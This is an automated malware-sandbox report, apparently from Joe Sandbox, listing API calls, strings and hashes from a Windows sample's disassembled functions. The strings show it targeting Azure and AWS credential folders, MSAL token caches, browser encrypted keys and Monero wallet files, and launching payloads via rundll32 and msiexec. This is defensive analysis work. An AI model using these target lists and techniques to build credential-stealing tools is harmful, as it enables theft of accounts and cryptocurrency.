Part of subcall function 000EC820: lstrcat.KERNEL32(?,00100B46), ref: 000EC943
Part of subcall function 000EC820: lstrcat.KERNEL32(?,00100B47), ref: 000EC957
Part of subcall function 000EC820: lstrcat.KERNEL32(?,00100B4E), ref: 000EC978

lstrlen.KERNEL32(00000000), ref: 000ECE44
CloseHandle.KERNEL32(00000000), ref: 000ECE9C

Strings

, xrefs: 000EC9C6

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: af6a4ca24d8f12f87756652e04c51783493eb99cdba2e3ff75ab4e721a0ae1b4
Instruction ID: 5683af8da6fa51c19fa391da43b9629f8950a3e1cdda3bfd7da7a07c5d5977ba
Opcode Fuzzy Hash: af6a4ca24d8f12f87756652e04c51783493eb99cdba2e3ff75ab4e721a0ae1b4
Instruction Fuzzy Hash: F6E10FB1A0010CABDB15EBA4DC91FFEB778AF55300F004169F20A67592DF746A4BDB62

Function 000F8320 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

RegOpenKeyExA.ADVAPI32(00000000,0122B688,00000000,00020019,00000000,001005B6), ref: 000F83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 000F8426
wsprintfA.USER32 ref: 000F8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 000F847B
RegCloseKey.ADVAPI32(00000000), ref: 000F848C
RegCloseKey.ADVAPI32(00000000), ref: 000F8499

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Strings

- , xrefs: 000F85A3
%s\%s, xrefs: 000F844D

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s
API String ID: 3246050789-1643714437
Opcode ID: 2792f7a278d7ef404c7b1c0a121e45c5b2e381c9cf892339b92bd9b2d705b9ad
Instruction ID: 8447c9a8d6bfe46f1da359522751662bd54934dab78711f523c293f467656c13
Opcode Fuzzy Hash: 2792f7a278d7ef404c7b1c0a121e45c5b2e381c9cf892339b92bd9b2d705b9ad
Instruction Fuzzy Hash: 85812DB191011CABDB25DB54CC91FEA77BCBF48700F00C299E209A6581DF746B8ADFA1

Function 000F4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 000F8E0B

lstrcat.KERNEL32(?,00000000), ref: 000F4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 000F4DCD

Part of subcall function 000F4910: wsprintfA.USER32 ref: 000F492C
Part of subcall function 000F4910: FindFirstFileA.KERNEL32(?,?), ref: 000F4943

lstrcat.KERNEL32(?,00000000), ref: 000F4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 000F4E59

Part of subcall function 000F4910: StrCmpCA.SHLWAPI(?,00100FDC), ref: 000F4971
Part of subcall function 000F4910: StrCmpCA.SHLWAPI(?,00100FE0), ref: 000F4987
Part of subcall function 000F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 000F4B7D
Part of subcall function 000F4910: FindClose.KERNEL32(000000FF), ref: 000F4B92

lstrcat.KERNEL32(?,00000000), ref: 000F4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 000F4EE5

Part of subcall function 000F4910: wsprintfA.USER32 ref: 000F49B0
Part of subcall function 000F4910: StrCmpCA.SHLWAPI(?,001008D2), ref: 000F49C5
Part of subcall function 000F4910: wsprintfA.USER32 ref: 000F49E2
Part of subcall function 000F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 000F4A1E
Part of subcall function 000F4910: lstrcat.KERNEL32(?,0122E758), ref: 000F4A4A
Part of subcall function 000F4910: lstrcat.KERNEL32(?,00100FF8), ref: 000F4A5C
Part of subcall function 000F4910: lstrcat.KERNEL32(?,?), ref: 000F4A70
Part of subcall function 000F4910: lstrcat.KERNEL32(?,00100FFC), ref: 000F4A82
Part of subcall function 000F4910: lstrcat.KERNEL32(?,?), ref: 000F4A96
Part of subcall function 000F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 000F4AAC
Part of subcall function 000F4910: DeleteFileA.KERNEL32(?), ref: 000F4B31

Strings

Azure\.azure, xrefs: 000F4DD3
\.aws\, xrefs: 000F4E4D
\.IdentityService\, xrefs: 000F4ED9
*.*, xrefs: 000F4DD8
Azure\.IdentityService, xrefs: 000F4EEB
Azure\.aws, xrefs: 000F4E5F
msal.cache, xrefs: 000F4EF0
\.azure\, xrefs: 000F4DC1
*.*, xrefs: 000F4E64

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 7b0473172e934d4c25d50f1436fcbc96080739ac9465451571a8b59c68fdccd4
Instruction ID: e418914ad3cf1cfbbc40d41942f485a904a873e8847978665d22deb0f2368af5
Opcode Fuzzy Hash: 7b0473172e934d4c25d50f1436fcbc96080739ac9465451571a8b59c68fdccd4
Instruction Fuzzy Hash: 484173BAA4021867DB20F770DC47FED7738AB64700F004454B689664C6EFF45BC99B92

Function 000F9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 000F906C

Strings

image/jpeg, xrefs: 000F9136

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 7ddb56ed501ed80484f093a91ccc79786be2157e2f17007b73c34c514c3e33d1
Instruction ID: e407a0dffad2aea6711b289f5fc871648d79c37b2ebee097c7d73fa8ef64e0a1
Opcode Fuzzy Hash: 7ddb56ed501ed80484f093a91ccc79786be2157e2f17007b73c34c514c3e33d1
Instruction Fuzzy Hash: 9C71EAB1A10608EFDB14DBE4DC89FEEBBB9BB48700F108518F615A7290DB34A905DB61

Function 000F2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

ShellExecuteEx.SHELL32(0000003C), ref: 000F31C5
ShellExecuteEx.SHELL32(0000003C), ref: 000F335D
ShellExecuteEx.SHELL32(0000003C), ref: 000F34EA

Strings

/i ", xrefs: 000F33E4
<, xrefs: 000F3490
C:\Windows\system32\rundll32.exe, xrefs: 000F3332
C:\Windows\system32\msiexec.exe, xrefs: 000F34BF
.dll, xrefs: 000F31E5
"" , xrefs: 000F309A
.msi, xrefs: 000F3398
/passive, xrefs: 000F345B

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 58457f9675c13bde76f75020f49b49ab7ab283f7305d74cdacfea2bb979d347a
Instruction ID: 45cbf05c90d1f0b53066fc217db206dd547d98d329128e65b13dee1d8d8cc75a
Opcode Fuzzy Hash: 58457f9675c13bde76f75020f49b49ab7ab283f7305d74cdacfea2bb979d347a
Instruction Fuzzy Hash: A11221B190010CAADB15FB90DC52FFDB778AF15340F508169E60A66492EFB42B4EDF62

Function 000F52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E6280: InternetOpenA.WININET(00100DFE,00000001,00000000,00000000,00000000), ref: 000E62E1
Part of subcall function 000E6280: StrCmpCA.SHLWAPI(?,0122E878), ref: 000E6303
Part of subcall function 000E6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 000E6335
Part of subcall function 000E6280: HttpOpenRequestA.WININET(00000000,GET,?,0122E458,00000000,00000000,00400100,00000000), ref: 000E6385
Part of subcall function 000E6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 000E63BF
Part of subcall function 000E6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 000E63D1

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 000F5318
lstrlen.KERNEL32(00000000), ref: 000F532F

Part of subcall function 000F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 000F8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 000F5364
lstrlen.KERNEL32(00000000), ref: 000F5383
lstrlen.KERNEL32(00000000), ref: 000F53AE

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Strings

ERROR, xrefs: 000F530A
ERROR, xrefs: 000F546F
ERROR, xrefs: 000F53B9
ERROR, xrefs: 000F54A9
ERROR, xrefs: 000F5432

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 502c33642f7c3fde2719d9e1981723960a327ae05eba9096952b0730b2bdb1a5
Instruction ID: fd27c682e2057611a4ac2b7d94956357de09f0c01c5c6119c5bcfc1a6c809a24
Opcode Fuzzy Hash: 502c33642f7c3fde2719d9e1981723960a327ae05eba9096952b0730b2bdb1a5
Instruction Fuzzy Hash: 72511CB0A1014C9BCB14FF64CD92AFD7779AF11341F508018FA0A6A993DF746B4AEB52

Function 000F12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 80a20297941cc9a52a0e8ff82837a985407ccdcb14cffad2a99777672e14f589
Instruction ID: da573654c97f6fd0a98749f08bc930b0044fb6e494f1ea55b4b7ddc8853efa0b
Opcode Fuzzy Hash: 80a20297941cc9a52a0e8ff82837a985407ccdcb14cffad2a99777672e14f589
Instruction Fuzzy Hash: B3C165B590021D9BCB14EF60DC89FFA7778BF54304F10459CE60AA7642DB70AA85DF91

Function 000F4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 000F8E0B

lstrcat.KERNEL32(?,00000000), ref: 000F42EC
lstrcat.KERNEL32(?,0122E2A8), ref: 000F430B
lstrcat.KERNEL32(?,?), ref: 000F431F
lstrcat.KERNEL32(?,0122D4D0), ref: 000F4333

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000F8D90: GetFileAttributesA.KERNEL32(00000000,?,000E1B54,?,?,0010564C,?,?,00100E1F), ref: 000F8D9F

Part of subcall function 000E9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 000E9D39

Part of subcall function 000E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000E99EC
Part of subcall function 000E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 000E9A11
Part of subcall function 000E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 000E9A31
Part of subcall function 000E99C0: ReadFile.KERNEL32(000000FF,?,00000000,000E148F,00000000), ref: 000E9A5A
Part of subcall function 000E99C0: LocalFree.KERNEL32(000E148F), ref: 000E9A90
Part of subcall function 000E99C0: CloseHandle.KERNEL32(000000FF), ref: 000E9A9A

Part of subcall function 000F93C0: GlobalAlloc.KERNEL32(00000000,000F43DD,000F43DD), ref: 000F93D3

StrStrA.SHLWAPI(?,0122E368), ref: 000F43F3
GlobalFree.KERNEL32(?), ref: 000F4512

Part of subcall function 000E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,000E4EEE,00000000,00000000), ref: 000E9AEF
Part of subcall function 000E9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,000E4EEE,00000000,?), ref: 000E9B01
Part of subcall function 000E9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,000E4EEE,00000000,00000000), ref: 000E9B2A
Part of subcall function 000E9AC0: LocalFree.KERNEL32(?,?,?,?,000E4EEE,00000000,?), ref: 000E9B3F

lstrcat.KERNEL32(?,00000000), ref: 000F44A3
StrCmpCA.SHLWAPI(?,001008D1), ref: 000F44C0
lstrcat.KERNEL32(00000000,00000000), ref: 000F44D2
lstrcat.KERNEL32(00000000,?), ref: 000F44E5
lstrcat.KERNEL32(00000000,00100FB8), ref: 000F44F4

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 5b1e0cc83caedcc0f2fe14e2444cda08556710934b4e9e9a756b005b7668afd2
Instruction ID: e364367bdfb0c7aa5d7d3236cfe3676715ce445f0d0e8f172978745e9e3f7b81
Opcode Fuzzy Hash: 5b1e0cc83caedcc0f2fe14e2444cda08556710934b4e9e9a756b005b7668afd2
Instruction Fuzzy Hash: 057167B690061CABCB14FBA0DC85FEE777DAB48300F048598F605A7182DB74DB45DB91

Function 000E1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 000E12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 000E12B4
Part of subcall function 000E12A0: RtlAllocateHeap.NTDLL(00000000), ref: 000E12BB
Part of subcall function 000E12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 000E12D7
Part of subcall function 000E12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 000E12F5
Part of subcall function 000E12A0: RegCloseKey.ADVAPI32(?), ref: 000E12FF

lstrcat.KERNEL32(?,00000000), ref: 000E134F
lstrlen.KERNEL32(?), ref: 000E135C
lstrcat.KERNEL32(?,.keys), ref: 000E1377

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000F8B60: GetSystemTime.KERNEL32(00100E1A,0122A2A0,001005AE,?,?,000E13F9,?,0000001A,00100E1A,00000000,?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000F8B86

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 000E1465

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000E99EC
Part of subcall function 000E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 000E9A11
Part of subcall function 000E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 000E9A31
Part of subcall function 000E99C0: ReadFile.KERNEL32(000000FF,?,00000000,000E148F,00000000), ref: 000E9A5A
Part of subcall function 000E99C0: LocalFree.KERNEL32(000E148F), ref: 000E9A90
Part of subcall function 000E99C0: CloseHandle.KERNEL32(000000FF), ref: 000E9A9A

DeleteFileA.KERNEL32(00000000), ref: 000E14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 000E1335
wallet_path, xrefs: 000E1330
\Monero\wallet.keys, xrefs: 000E138D
.keys, xrefs: 000E136B

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
